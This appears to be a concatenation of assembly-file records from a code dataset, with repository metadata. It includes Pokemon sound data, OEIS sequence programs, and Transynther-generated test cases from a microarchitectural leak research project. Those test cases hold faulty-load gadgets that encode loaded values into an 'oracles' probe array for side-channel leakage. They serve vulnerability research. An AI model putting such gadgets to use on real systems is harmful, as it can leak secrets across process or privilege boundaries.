lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rbx
pop %rbp
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.705128 | 2,999 | 0.659509 |
9733b0f52d612e848763ea2b69f917077d4d3296 | 490 | asm | Assembly | audio/sfx/cry25_1.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | audio/sfx/cry25_1.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | audio/sfx/cry25_1.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | SFX_Cry25_1_Ch4:
dutycycle 165
squarenote 6, 15, 4, 1856
squarenote 15, 14, 3, 1840
squarenote 4, 15, 4, 1856
squarenote 5, 11, 3, 1864
squarenote 8, 13, 1, 1872
endchannel
SFX_Cry25_1_Ch5:
dutycycle 119
squarenote 6, 12, 3, 1810
squarenote 15, 11, 3, 1796
squarenote 3, 12, 3, 1810
squarenote 4, 12, 3, 1825
squarenote 8, 11, 1, 1842
endchannel
SFX_Cry25_1_Ch7:
noisenote 8, 13, 6, 44
noisenote 12, 12, 6, 60
noisenote 10, 11, 6, 44
noisenote 8, 9, 1, 28
endchannel
| 18.148148 | 27 | 0.697959 |
bf6bf4acabc5fc6227918ee0fb22bbc6eed8b092 | 176 | asm | Assembly | progs/div-cpup.asm | CoderPuppy/viluons-machine | ec8fe27234baa2722767495fe7d02ee990c3c127 | [
"MIT"
] | null | null | null | progs/div-cpup.asm | CoderPuppy/viluons-machine | ec8fe27234baa2722767495fe7d02ee990c3c127 | [
"MIT"
] | null | null | null | progs/div-cpup.asm | CoderPuppy/viluons-machine | ec8fe27234baa2722767495fe7d02ee990c3c127 | [
"MIT"
] | null | null | null | ?K8 ERROR
?K2 2
K2--
JMP -3
loop:
?K8 :reset
?K7 :done
K7--
K8--
K2++
JMP -6
reset:
K1++
?K2 :loop
K2--
K8++
JMP -4
done:
?K2 END
K2--
K7++
K8++
JMP -5
| 6.285714 | 11 | 0.471591 |
8f22a0f70382c45a50cf2c8fc77f2d758d563b38 | 366 | asm | Assembly | programs/oeis/005/A005881.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/005/A005881.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/005/A005881.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A005881: Theta series of planar hexagonal lattice (A2) with respect to edge.
; 2,2,0,4,2,0,4,0,0,4,4,0,2,2,0,4,0,0,4,4,0,4,0,0,6,0,0,0,4,0,4,4,0,4,0,0,4,2,0,4,2,0,0,0,0,8,4,0,4,0,0,4,0,0,4,4,0,0,4,0,2,0,0,4,4,0,8,0,0,4,0,0,0,6,0,4,0,0,4,0,0,4,0,0,6,4,0,4,0,0,4,4,0,0,4,0,4,0,0,4
mul $0,2
seq $0,1158 ; sigma_3(n): sum of cubes of divisors of n.
mod $0,9
mul $0,2
| 45.75 | 201 | 0.587432 |
14229485dcf072524d9878ada12856b606588428 | 7,206 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_1837.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_1837.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_1837.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x19c08, %rdx
nop
xor %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
movups %xmm3, (%rdx)
nop
xor %r15, %r15
lea addresses_D_ht+0x13048, %rcx
nop
nop
nop
xor %r10, %r10
movups (%rcx), %xmm2
vpextrq $0, %xmm2, %r9
cmp $13240, %r10
lea addresses_normal_ht+0xf408, %rdx
nop
nop
nop
nop
nop
xor %r8, %r8
mov (%rdx), %si
nop
nop
nop
nop
and $55112, %r9
lea addresses_UC_ht+0x5608, %r10
clflush (%r10)
nop
and $14117, %r9
mov (%r10), %r15d
nop
add $60746, %rdx
lea addresses_WC_ht+0x6e88, %r8
nop
and $35605, %rcx
mov (%r8), %r9
nop
nop
nop
sub $29879, %r15
lea addresses_D_ht+0x5a08, %rsi
sub %r10, %r10
vmovups (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r9
nop
nop
nop
nop
nop
xor $24209, %r15
lea addresses_WT_ht+0x1ae48, %rsi
nop
nop
xor $21777, %r15
mov $0x6162636465666768, %r8
movq %r8, (%rsi)
nop
and %r15, %r15
lea addresses_WT_ht+0x10c08, %r15
nop
nop
nop
xor %r8, %r8
mov (%r15), %r9
nop
nop
nop
nop
and $60091, %r9
lea addresses_UC_ht+0x19408, %r15
nop
nop
nop
nop
add %rsi, %rsi
mov (%r15), %r8
nop
and %r9, %r9
lea addresses_normal_ht+0x9908, %rsi
lea addresses_WT_ht+0x1b7a8, %rdi
nop
nop
dec %r15
mov $62, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0xc4c8, %rdi
nop
nop
add $53027, %r9
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%rdi)
nop
nop
nop
nop
add %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_US+0x12808, %rax
nop
nop
nop
nop
nop
sub $56143, %rdi
movb $0x51, (%rax)
nop
nop
nop
nop
inc %rdx
// Store
lea addresses_D+0x7408, %r11
nop
nop
cmp $22691, %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r11)
nop
nop
dec %r9
// Faulty Load
lea addresses_D+0x7408, %r11
nop
nop
sub $29024, %rbx
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r9
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.314286 | 2,999 | 0.653622 |
a50f59e876b491485a54204a30c325b997df5e2e | 6,928 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_2785.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_2785.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_2785.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1276c, %rsi
lea addresses_D_ht+0xafb8, %rdi
clflush (%rsi)
nop
nop
nop
add %r8, %r8
mov $85, %rcx
rep movsw
nop
nop
nop
cmp %r10, %r10
lea addresses_WC_ht+0x12638, %rsi
lea addresses_UC_ht+0xef18, %rdi
nop
nop
inc %rbx
mov $127, %rcx
rep movsl
nop
nop
nop
dec %rdi
lea addresses_A_ht+0x7438, %rdi
nop
nop
nop
sub %r15, %r15
mov (%rdi), %ebx
sub $55560, %r10
lea addresses_UC_ht+0x1c6b8, %rdi
nop
nop
nop
add $41513, %r8
mov (%rdi), %rsi
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x8db8, %r8
nop
sub %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%r8)
xor $46606, %rdi
lea addresses_WC_ht+0xa938, %rbx
xor $28228, %r15
movl $0x61626364, (%rbx)
nop
nop
xor $49430, %rdi
lea addresses_WC_ht+0x11138, %rcx
nop
xor %r8, %r8
mov (%rcx), %r10d
cmp %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_A+0x6f78, %r8
nop
nop
nop
nop
nop
cmp $59914, %rdx
movl $0x51525354, (%r8)
nop
nop
nop
and %rbx, %rbx
// Store
lea addresses_D+0x19e38, %rbx
nop
inc %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm2
movups %xmm2, (%rbx)
nop
nop
nop
and $54939, %r15
// Store
lea addresses_UC+0x5ab8, %r10
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, (%r10)
nop
nop
nop
nop
nop
dec %rbx
// Store
lea addresses_normal+0x13268, %rbx
clflush (%rbx)
nop
nop
nop
xor $46187, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%rbx)
nop
nop
nop
nop
nop
and $15626, %rdx
// Store
lea addresses_PSE+0x1d678, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
cmp $58600, %r8
movw $0x5152, (%rbx)
nop
nop
nop
nop
nop
add %r10, %r10
// Faulty Load
lea addresses_PSE+0x5638, %rax
and $24910, %rdx
mov (%rax), %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 34.467662 | 2,999 | 0.654301 |
155f63811b0a87a1352728125dee6af1288068fe | 464 | asm | Assembly | programs/oeis/269/A269044.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/269/A269044.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
